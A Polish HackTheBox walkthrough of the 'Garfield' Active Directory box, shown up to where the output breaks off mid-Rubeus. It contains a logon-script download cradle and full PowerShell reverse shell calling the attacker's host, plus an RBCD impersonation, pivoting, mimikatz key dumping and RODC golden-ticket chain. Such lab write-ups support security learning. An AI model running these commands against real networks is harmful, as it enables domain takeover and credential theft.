[PL] HackTheBox - Garfield

November 10, 2026

Garfield

Windows

Trudność

Trudna

Premiera

April 04, 2026

Punkty

Twórca

User blood

Root blood

Dane wejściowe

Na wstępie otrzymujemy dane logowania jednego z użytkowników: j.arbuckle : Th1sD4mnC4t!@1978.

Za HackTheBox:

As is common in real life pentests, you will start the Garfield box with credentials for the following account j.arbuckle / Th1sD4mnC4t!@1978

Rekonesans

Nmap

Nmap znajduje kilkanaście otwartych portów, większość typowa dla kontrolera domeny:

rvr@rvr$ nmap -p- --min-rate 10000 -oN nmap.all-ports 10.129.244.207 
Nmap 7.94SVN scan initiated Sun Nov  8 14:54:50 2026 as: nmap -p- --min-rate 10000 -oN nmap.all-ports 10.129.244.207
Nmap scan report for garfield.htb (10.129.244.207)
Host is up (1.2s latency).
Not shown: 65513 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
2179/tcp  open  vmrdp
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
9389/tcp  open  adws
49668/tcp open  unknown
49676/tcp open  unknown
49677/tcp open  unknown
49679/tcp open  unknown
49680/tcp open  unknown
49906/tcp open  unknown
56678/tcp open  unknown

rvr@rvr$ nmap -p53,88,135,139,389,445,464,593,636,2179,3268,3269,3389,5985,9389,49668,49676,49677,49679,49680,49906,56678 -sCV -oN nmap.ports 10.129.244.207
Nmap scan report for garfield.htb (10.129.244.207)
Host is up (0.12s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-11-08 23:59:48Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: garfield.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
2179/tcp  open  vmrdp?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: garfield.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: GARFIELD
|   NetBIOS_Domain_Name: GARFIELD
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: garfield.htb
|   DNS_Computer_Name: DC01.garfield.htb
|   DNS_Tree_Name: garfield.htb
|   Product_Version: 10.0.17763
|_  System_Time: 2026-11-09T00:00:38+00:00
|_ssl-date: 2026-11-09T00:01:18+00:00; +8h00m02s from scanner time.
| ssl-cert: Subject: commonName=DC01.garfield.htb
| Not valid before: 2026-11-07T21:41:35
|_Not valid after:  2027-05-09T21:41:35
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49668/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49677/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49680/tcp open  msrpc         Microsoft Windows RPC
49906/tcp open  msrpc         Microsoft Windows RPC
56678/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2026-11-09T00:00:39
|_  start_date: N/A
|_clock-skew: mean: 8h00m02s, deviation: 0s, median: 8h00m01s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nxc

Enumerację zaczniemy od sprawdzenia danych dostępowych. Te pasują do smb i, co nie jest zaskoczeniem, do ldapa:

rvr@rvr$ nxc smb garfield.htb -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978'
SMB         10.129.244.207  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.244.207  445    DC01             [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978

rvr@rvr$ nxc ldap garfield.htb -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978'
LDAP        10.129.244.207  389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:garfield.htb) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.244.207  389    DC01             [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978

Nie mamy jednak możliwości wykorzystania winrm, by dostać shella (co również nie dziwi na tym etapie). Użytkownik zapewne nie jest członkiem grupy Remote Management Users, mimo że winrm faktycznie nasłuchuje na porcie 5985:

rvr@rvr$ nxc winrm garfield.htb -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978'
WINRM       10.129.244.207  5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:garfield.htb) 
WINRM       10.129.244.207  5985   DC01             [-] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978

Dzięki nxc możemy też odczytać użytkowników w AD:

nxc smb garfield.htb -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' --users
SMB         10.129.244.207  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.244.207  445    DC01             [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978 
SMB         10.129.244.207  445    DC01             -Username-                    -Last PW Set-       -BadPW- -Description-                                              
SMB         10.129.244.207  445    DC01             Administrator                 2025-10-03 17:29:26 0       Built-in account for administering the computer/domain 
SMB         10.129.244.207  445    DC01             Guest                         <never>             0       Built-in account for guest access to the computer/domain 
SMB         10.129.244.207  445    DC01             krbtgt                        2025-08-13 11:05:26 0       Key Distribution Center Service Account 
SMB         10.129.244.207  445    DC01             krbtgt_8245                   2025-08-17 11:33:39 0       Key Distribution Center service account for read-only domain controller
SMB         10.129.244.207  445    DC01             j.arbuckle                    2025-09-09 15:50:55 0        
SMB         10.129.244.207  445    DC01             l.wilson                      2026-01-27 21:40:33 0        
SMB         10.129.244.207  445    DC01             l.wilson_adm                  2026-01-13 14:56:35 0        
SMB         10.129.244.207  445    DC01             [*] Enumerated 7 local users: GARFIELD

Jak również podejrzeć zawartość udziałów sieciowych:

rvr@rvr$ nxc smb garfield.htb -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' --shares
SMB         10.129.244.207   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.244.207   445    DC01             [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
SMB         10.129.244.207   445    DC01             [*] Enumerated shares
SMB         10.129.244.207   445    DC01             Share           Permissions     Remark
SMB         10.129.244.207   445    DC01             -----           -----------     ------
SMB         10.129.244.207   445    DC01             ADMIN$                          Remote Admin
SMB         10.129.244.207   445    DC01             C$                              Default share
SMB         10.129.244.207   445    DC01             IPC$            READ            Remote IPC
SMB         10.129.244.207   445    DC01             NETLOGON        READ            Logon server share
SMB         10.129.244.207   445    DC01             SYSVOL          READ            Logon server share

Pomocny na takim etapie jest też moduł spider_plus w nxc - rekurencyjnie przechodzi przez dostępne katalogi w udziale sieciowym i zapisuje metadane plików do pliku json, co ułatwia późniejszą analizę:

nxc smb garfield.htb -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' -M spider_plus
SMB         10.129.244.207   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.244.207   445    DC01             [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
SPIDER_PLUS 10.129.244.207   445    DC01             [*] Started module spidering_plus with the following options:
SPIDER_PLUS 10.129.244.207   445    DC01             [*]  DOWNLOAD_FLAG: False
SPIDER_PLUS 10.129.244.207   445    DC01             [*]     STATS_FLAG: True
SPIDER_PLUS 10.129.244.207   445    DC01             [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS 10.129.244.207   445    DC01             [*]   EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 10.129.244.207   445    DC01             [*]  MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 10.129.244.207   445    DC01             [*]  OUTPUT_FOLDER: /home/rvr/.nxc/modules/nxc_spider_plus
SMB         10.129.244.207   445    DC01             [*] Enumerated shares
SMB         10.129.244.207   445    DC01             Share           Permissions     Remark
SMB         10.129.244.207   445    DC01             -----           -----------     ------
SMB         10.129.244.207   445    DC01             ADMIN$                          Remote Admin
SMB         10.129.244.207   445    DC01             C$                              Default share
SMB         10.129.244.207   445    DC01             IPC$            READ            Remote IPC
SMB         10.129.244.207   445    DC01             NETLOGON        READ            Logon server share
SMB         10.129.244.207   445    DC01             SYSVOL          READ            Logon server share
SPIDER_PLUS 10.129.244.207   445    DC01             [+] Saved share-file metadata to "/home/rvr/.nxc/modules/nxc_spider_plus/10.129.244.207.json".
SPIDER_PLUS 10.129.244.207   445    DC01             [*] SMB Shares:           5 (ADMIN$, C$, IPC$, NETLOGON, SYSVOL)
SPIDER_PLUS 10.129.244.207   445    DC01             [*] SMB Readable Shares:  3 (IPC$, NETLOGON, SYSVOL)
SPIDER_PLUS 10.129.244.207   445    DC01             [*] SMB Filtered Shares:  1
SPIDER_PLUS 10.129.244.207   445    DC01             [*] Total folders found:  20
SPIDER_PLUS 10.129.244.207   445    DC01             [*] Total files found:    8
SPIDER_PLUS 10.129.244.207   445    DC01             [*] File size average:    1.08 KB
SPIDER_PLUS 10.129.244.207   445    DC01             [*] File size min:        22 B
SPIDER_PLUS 10.129.244.207   445    DC01             [*] File size max:        3.81 KB

rvr@rvr$ cat /home/rvr/.nxc/modules/nxc_spider_plus/10.129.244.207.json

{
    "NETLOGON": {
        "printerDetect.bat": {
            "atime_epoch": "2025-09-13 00:20:28",
            "ctime_epoch": "2025-09-13 00:20:17",
            "mtime_epoch": "2025-09-13 00:25:38",
            "size": "217 B"
        }
    },
    "SYSVOL": {
        "garfield.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/GPT.INI": {
            "atime_epoch": "2025-09-09 17:55:03",
            "ctime_epoch": "2025-08-13 13:04:48",
            "mtime_epoch": "2025-09-09 17:55:03",
            "size": "22 B"
        },
        "garfield.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf": {
            "atime_epoch": "2025-09-09 17:55:03",
            "ctime_epoch": "2025-08-13 13:04:48",
            "mtime_epoch": "2025-09-09 17:55:03",
            "size": "1.07 KB"
        },
        "garfield.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Registry.pol": {
            "atime_epoch": "2025-08-13 13:11:08",
            "ctime_epoch": "2025-08-13 13:11:08",
            "mtime_epoch": "2025-08-13 13:11:08",
            "size": "2.73 KB"
        },
        "garfield.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/GPT.INI": {
            "atime_epoch": "2026-02-14 02:14:50",
            "ctime_epoch": "2025-08-13 13:04:48",
            "mtime_epoch": "2026-02-14 02:14:50",
            "size": "23 B"
        },
        "garfield.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/MACHINE/Microsoft/Windows NT/Audit/audit.csv": {
            "atime_epoch": "2025-09-09 18:44:34",
            "ctime_epoch": "2025-09-09 18:44:17",
            "mtime_epoch": "2025-09-09 18:44:34",
            "size": "535 B"
        },
        "garfield.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf": {
            "atime_epoch": "2026-02-14 02:14:50",
            "ctime_epoch": "2025-08-13 13:04:48",
            "mtime_epoch": "2026-02-14 02:14:50",
            "size": "3.81 KB"
        },
        "garfield.htb/scripts/printerDetect.bat": {
            "atime_epoch": "2025-09-13 00:20:28",
            "ctime_epoch": "2025-09-13 00:20:17",
            "mtime_epoch": "2025-09-13 00:25:38",
            "size": "217 B"
        }
    }
}

Ze względu na nazwę oraz położenie (katalog scripts), najciekawszym plikiem wydaje się być skrypt printerDetect.bat. Jego zawartość nie jest istotna, ale dla pełnego obrazu, zostawiam ją niżej:

@echo off
echo Detecting installed printers...
echo ==============================

wmic printer get Name,DeviceID,PortName,DriverName,Shared,Status /format:table


echo.
echo Printer detection completed.
pause

Na tym etapie powinniśmy również określić, czy mamy możliwość zapisu do SYSVOL/garfield.htb/scripts/. Niestety nxc nie sprawdza tego uprawnienia dla każdego podkatalogu, stąd konieczna jest weryfikacja “manualna”. Jak się okazuje, możemy tam umieścić własne pliki:

rvr@rvr$ smbclient -U 'j.arbuckle' //10.129.244.207/SYSVOL/
Password for [WORKGROUP\j.arbuckle]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Aug 13 13:04:43 2025
  ..                                  D        0  Wed Aug 13 13:04:43 2025
  garfield.htb                       Dr        0  Wed Aug 13 13:04:43 2025

                9250815 blocks of size 4096. 990379 blocks available
smb: \> cd garfield.htb\scripts\
smb: \garfield.htb\scripts\> ls
  .                                   D        0  Tue Jan 27 23:13:47 2026
  ..                                  D        0  Tue Jan 27 23:13:47 2026
  printerDetect.bat                   A      217  Sat Sep 13 00:20:29 2025

                9250815 blocks of size 4096. 990379 blocks available
smb: \garfield.htb\scripts\> put test-file.txt
putting file test-file.txt as \garfield.htb\scripts\test-file.txt (0,0 kb/s) (average 0,0 kb/s)
smb: \garfield.htb\scripts\> ls
  .                                   D        0  Mon Nov  9 01:11:09 2026
  ..                                  D        0  Mon Nov  9 01:11:09 2026
  printerDetect.bat                   A      217  Sat Sep 13 00:20:29 2025
  test-file.txt                       A        4  Mon Nov  9 01:11:09 2026

                9250815 blocks of size 4096. 990379 blocks available

Ale co to da? Na razie nic - potrzebujemy jeszcze triggera, który wykonałby taki skrypt.

Rusthound (bloodhound):

Posiadając dostęp do ldapa, możemy zebrać dane AD, dzięki którym łatwiej będzie nam znaleźć podatną konfigurację w takim środowisku. Do tego celu użyjemy rusthound jako “kolektora” (czyli “zbieracza”) danych potrzebnych do wygenerowania grafu w bloodhound:

rvr@rvr$ /opt/RustHound-CE/rusthound-ce -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -z
---------------------------------------------------
Initializing RustHound-CE at 01:41:23 on 09/11/26
Powered by @g0h4n_0
---------------------------------------------------

[2026-11-09T01:41:28Z INFO  rusthound_ce] Verbosity level: Info
[2026-11-09T01:41:28Z INFO  rusthound_ce] Collection method: All
[2026-11-09T01:41:28Z INFO  rusthound_ce::ldap] Connected to GARFIELD.HTB Active Directory!
[2026-11-09T01:41:28Z INFO  rusthound_ce::ldap] Starting data collection...
[2026-11-09T01:41:28Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-11-09T01:41:30Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=garfield,DC=htb
[2026-11-09T01:41:30Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-11-09T01:41:32Z INFO  rusthound_ce::ldap] All data collected for NamingContext CN=Configuration,DC=garfield,DC=htb
[2026-11-09T01:41:32Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-11-09T01:41:34Z INFO  rusthound_ce::ldap] All data collected for NamingContext CN=Schema,CN=Configuration,DC=garfield,DC=htb
[2026-11-09T01:41:34Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-11-09T01:41:35Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=DomainDnsZones,DC=garfield,DC=htb
[2026-11-09T01:41:35Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-11-09T01:41:35Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=ForestDnsZones,DC=garfield,DC=htb
[2026-11-09T01:41:35Z INFO  rusthound_ce::api] Starting the LDAP objects parsing...
[2026-11-09T01:41:35Z INFO  rusthound_ce::objects::domain] MachineAccountQuota: 10
[2026-11-09T01:41:35Z INFO  rusthound_ce::api] Parsing LDAP objects finished!
[2026-11-09T01:41:35Z INFO  rusthound_ce::json::checker] Starting checker to replace some values...
[2026-11-09T01:41:35Z INFO  rusthound_ce::json::checker] Checking and replacing some values finished!
[2026-11-09T01:41:35Z INFO  rusthound_ce::json::maker::common] 8 users parsed!
[2026-11-09T01:41:35Z INFO  rusthound_ce::json::maker::common] 63 groups parsed!
[2026-11-09T01:41:35Z INFO  rusthound_ce::json::maker::common] 2 computers parsed!
[2026-11-09T01:41:35Z INFO  rusthound_ce::json::maker::common] 1 ous parsed!
[2026-11-09T01:41:35Z INFO  rusthound_ce::json::maker::common] 1 domains parsed!
[2026-11-09T01:41:35Z INFO  rusthound_ce::json::maker::common] 2 gpos parsed!
[2026-11-09T01:41:35Z INFO  rusthound_ce::json::maker::common] 73 containers parsed!
[2026-11-09T01:41:35Z INFO  rusthound_ce::json::maker::common] .//20260406215235_garfield-htb_rusthound-ce.zip created!

RustHound-CE Enumeration Completed at 01:41:35 on 09/11/26! Happy Graphing!

Niestety bloodhound nie jest w stanie zauważyć wszystkiego, dlatego dobrze jest wykorzystać też inne narzędzia.

Adalanche

Alternatywą może być użycie Adalanche, dane potrzebne do analizy zbieramy tak:

rvr@rvr$ /opt/adalanche/adalanche-linux-x64-v2025.2.6 collect activedirectory --server garfield.htb --username j.arbuckle --password 'Th1sD4mnC4t!@1978' --domain garfield.htb

Właściwą binarkę, która tworzy graf z zebranych danych uruchamiamy w ten sposób:

rvr@rvr$ /opt/adalanche/adalanche-linux-x64-v2025.2.6 analyze --bind 127.0.0.1:8081

Dzięki temu jesteśmy w stanie szybko odnaleźć to, co pomija bloodhound, tj. uprawnienie WriteScriptPath:

Shell jako l.wilson

Na tym etapie pomocny okazuje się ten artykuł, który opisuje w jaki sposób możemy wykorzystać taką konfigurację. W skrócie, właściwość Script-Path w AD określa lokalizację skryptu uruchamianego, gdy użytkownik loguje się do systemu. Domyślną lokalizacją jest C:\Windows\SYSVOL\sysvol\<domain_name>\scripts, co zgadza się z naszym przypadkiem. Pozostaje więc zmodyfikować skrypt printerDetect.bat (lub utworzyć nowy skrypt) i uaktualnić właściwość Script-Path przy użyciu np. bloodyAD.

Skrypt z payloadem pobierającym revshell:

@echo off
echo Detecting installed printers...
echo ==============================

powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.15.194:8000/shell.ps1')"
wmic printer get Name,DeviceID,PortName,DriverName,Shared,Status /format:table


echo.
echo Printer detection completed.
pause

Właściwy revshell w shell.ps1:

$client = New-Object System.Net.Sockets.TCPClient("10.10.15.194",9999);
$stream = $client.GetStream();
$writer = New-Object System.IO.StreamWriter($stream);
$buffer = New-Object byte[] 1024;
$encoding = New-Object System.Text.ASCIIEncoding;

while(($i = $stream.Read($buffer, 0, $buffer.Length)) -ne 0) {
    $data = $encoding.GetString($buffer, 0, $i);
    $sendback = (Invoke-Expression $data 2>&1 | Out-String );
    $sendback2  = $sendback + "PS " + (Get-Location).Path + "> ";
    $sendbyte = $encoding.GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush();
}
$client.Close();

Uaktualnienie właściwości Script-Path:

rvr@rvr$ /opt/bloodyAD/bloodyAD.py --host garfield.htb -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' set object l.wilson scriptPath -v 'printerDetect.bat'
[+] l.wilson's scriptPath has been updated

Po chwili, gdy jakiś użytkownik zaloguje się do systemu (tu tę funkcję pełni bot) dostaniemy revshella na porcie, na którym nasłuchuje ustawiony wcześniej nc:

rvr@rvr$ rlwrap nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.10.15.194] from (UNKNOWN) [10.129.244.207] 54111

PS C:\Windows\system32> whoami
garfield\l.wilson

Shell jako l.wilson_adm

Wrócimy do grafu w bloodhound. Użytkownik l.wilson ma możliwość zmiany hasła użytkownika l.wilson_adm:

Co więcej, l.wilson_adm jest członkiem grupy Remote Management Users, zatem po zmianie hasła będziemy mogli już użyć winrm, by uzyskać dostęp do shella.

Zmiana hasła:

$UserPassword = ConvertTo-SecureString 'Test1234!' -AsPlainText -Force
Set-ADAccountPassword -Identity l.wilson_adm -NewPassword $UserPassword

Shell dzięki evil-winrm:

rvr@rvr$ /opt/evil-winrm-3.5/evil-winrm/evil-winrm.rb -i garfield.htb -u l.wilson_adm -p Test1234!
Evil-WinRM shell v3.5
                                        
...[snip]...
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> whoami
garfield\l.wilson_adm

Pierwszy etap za nami. Użytkownik posiada flagę ukrytą w C:\Users\l.wilson_adm\Desktop\user.txt.

*Evil-WinRM* PS C:\Users\l.wilson_adm\Desktop> type user.txt
4bea09**************************

Administrator w RODC01

Niezmiennie idziemy tropem wyznaczonym przez bloodhound. Użytkownik l.wilson_adm posiada dwa uprawnienia w stosunku do RODC01:

ForceChangePassword
WriteAccountRestrictions

RODC01 to kolejny kontroler domeny pracujący w trybie read-only, do którego mamy dostęp z serwera DC01. Jego ip to 192.168.100.2:

*Evil-WinRM* PS C:\Users\l.wilson_adm\Desktop> ping RODC01

Pinging RODC01.garfield.htb [192.168.100.2] with 32 bytes of data:
Reply from 192.168.100.2: bytes=32 time<1ms TTL=128
Reply from 192.168.100.2: bytes=32 time=1ms TTL=128
Reply from 192.168.100.2: bytes=32 time<1ms TTL=128
Reply from 192.168.100.2: bytes=32 time=1ms TTL=128

Ping statistics for 192.168.100.2:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 1ms, Average = 0ms

Nie musimy daleko szukać, gdyż Bloodhound podpowiada możliwą ścieżkę eskalacji.

bloodhound rodc writeaccountrestrictions

Najpierw musimy stworzyć nowe konto maszynowe, gdyż domyślnie posiada ono SPN (Service Principal Name), potrzebny później do wygenerowania biletu ST (service ticket):

rvr@rvr$ addcomputer.py -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Test1234!' -dc-host garfield.htb -domain-netbios garfield.htb 'garfield.htb/l.wilson_adm:Test1234!'
Impacket v0.14.0.dev0+20251120.95652.9c2d8b61 - Copyright Fortra, LLC and its affiliated companies

[*] Successfully added machine account ATTACKERSYSTEM$ with password Test1234!.

Następnie przy pomocy rbcd.py modyfikujemy atrybut msDS-AllowedToActOnBehalfOfOtherIdentity, który weryfikuje, czy dane konto ma możliwość działania w imienieniu innych kont w usługach na nim uruchamianych:

rvr@rvr$ rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'RODC01$' -action 'write' 'garfield.htb/l.wilson_adm:Test1234!'
Impacket v0.14.0.dev0+20251120.95652.9c2d8b61 - Copyright Fortra, LLC and its affiliated companies

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] ATTACKERSYSTEM$ can now impersonate users on RODC01$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     ATTACKERSYSTEM$   (S-1-5-21-2502726253-3859040611-225969357-10601)

Dzięki temu możemy podszyć się pod Administratora na RODC01 i wygenerować dla niego bilet ST, którym przedstawimy się przed Kerberosem. Najpierw jednak musimy zsynchronizować czas między naszą maszyną a kontrolerem domeny. Bez tego nie będziemy mogli wygenerować poprawnego biletu, co wynika z samego działania AD, Kerberosa i jego mechanizmów bezpieczeństwa, np. zabopieganiu atakom typu replay.

Synchronizacja czasu:

rvr@rvr$ sudo ntpdate garfield.htb
2026-11-09 23:18:53.644848 (+0100) +28800.928997 +/- 0.036272 garfield.htb 10.129.244.207 s1 no-leap
CLOCK: time stepped by 28800.928997

Wygenerowanie biletu ST podszywającego się pod Administratora (tutaj jako spn wybieramy cifs, który jest identyfikatorem usługi smb, ale możemy wybrać też inny, np. ldap/rodc01.garfield.htb):

rvr@rvr$ getST.py -spn 'cifs/rodc01.garfield.htb' -impersonate 'Administrator' 'garfield.htb/attackersystem$:Test1234!'
Impacket v0.14.0.dev0+20251120.95652.9c2d8b61 - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@[email protected]

Musimy pamiętać, że bilet ten jest właściwy dla RODC01. Aby się do niego podłączyć, dokonamy tzw. pivotu, czyli przeskoczymy do serwera RODC01 wykorzystując połączenie z DC01. W tym celu musimy utworzyć tunel socks proxy, który będzie przechodził przez DC01. Do tego celu wykorzystamy binarkę chisel.

Na naszym hoście:

$ ./chisel server -p 8889 --reverse
2026/11/09 23:22:47 server: Reverse tunnelling enabled
2026/11/09 23:22:47 server: Fingerprint slLnR6RilZsApXKViospJd4pcMOXqQ3lZHToT9RLYoY=
2026/11/09 23:22:47 server: Listening on http://0.0.0.0:8889
2026/11/09 23:23:01 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening

Na atakowanej maszynie:

*Evil-WinRM* PS C:\Programdata> .\chisel.exe client 10.10.15.194:8889 R:socks

Aby się połączyć z RODC01 przez taki tunel, potrzebujemy użyć proxychains, który przepuści ruch przez socks działające na naszym lokalnym porcie 1080 otworzonym przez chisel. Dalej wykorzystamy psexec.py z pakietu Impacket, aby uzyskać shella dzięki usłudze smb na RODC01:

rvr@rvr$ KRB5CCNAME=Administrator@[email protected] sudo proxychains4 -f /etc/proxychains4.conf psexec.py -k -no-pass 'garfield.htb/[email protected]'                     
[sudo] password for rvr: 
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[proxychains] Strict chain  ...  127.0.0.1:1080  ...  RODC01.garfield.htb:445  ...  OK
[*] Requesting shares on RODC01.garfield.htb.....
[*] Found writable share ADMIN$
[*] Uploading file AUlhkuyF.exe
[*] Opening SVCManager on RODC01.garfield.htb.....
[*] Creating service XWTw on RODC01.garfield.htb.....
[*] Starting service XWTw.....
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  RODC01.garfield.htb:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  RODC01.garfield.htb:445  ...  OK
[!] Press help for extra shell commands
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  RODC01.garfield.htb:445  ...  OK
Microsoft Windows [Version 10.0.17763.8511]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

Shell jako Administrator na DC01

No dobra, ale po co to wszystko? Musimy przecież zdobyć konto Administratora na DC01, a nie RODC01. Tak, ale dzięki RODC01 będziemy mogli odczytać klucz aes256, który pozwoli wygenerować dowolny ticket w AD. Eskalacja uprawnień na tej maszynie bazuje całkowicie na tym researchu oraz linkowanym tam ataku KEY LIST przygotowanym przez Leandro Cuozzo. Cytując:

The Key List Attack involves forging an RODC golden ticket and then using it to send a TGS-REQ to a writable Domain Controller for the “KRBTGT” service. The TGS-REQ contains a “Key List Request” (KERB-KEY-LIST-REQ). If the targeted account is in the RODC’s msDS-RevealOnDemandGroup attribute and not in the RODC’s msDS-NeverRevealGroup attribute, the TGS-REP will contain a KERB-KEY-LIST-REP struct with the user’s credentials.

Najpierw przesyłamy mimikatza i odczytujemy klucz aes256_hmac na RODC01:

mimikatz #
privilege::debug
mimikatz # Privilege '20' OK

mimikatz #
lsadump::lsa /inject
mimikatz # Domain : GARFIELD / S-1-5-21-2502726253-3859040611-225969357

...[snip]...
 * Kerberos-Newer-Keys
    Default Salt : GARFIELD.HTBkrbtgt_8245
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240
      aes128_hmac       (4096) : 124c0fd09f5fa4efca8d9f1da91369e5
      des_cbc_md5       (4096) : d540fe6192b9ecfe

 * NTLM-Strong-NTOWF
    Random Value : f4b51c2c0d006172304e31dbc6e0de6b

...[snip]...

Następnie już na DC01 uruchamiamy Rubeusa i generujemy Golden Ticket:

*Evil-WinRM* PS C:\ProgramData> .\Rubeus.exe golden /rodcNumber:8245 /aes256:d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240 /user:Administrator /id:500
 /domain:garfield.htb /sid:S-1-5-21-2502726253-3859040611-225969357

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3

[*] Action: Build TGT

[*] Building PAC

[*] Domain         : GARFIELD.HTB (GARFIELD)
[*] SID            : S-1-5-21-2502726253-3859040611-225969357
[*] UserId         : 500
[*] Groups         : 520,512,513,519,518
[*] ServiceKey     : D6C93CBE006372ADB8403630F9E86594F52C8105A52F9B21FEF62E9C7A75E240
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
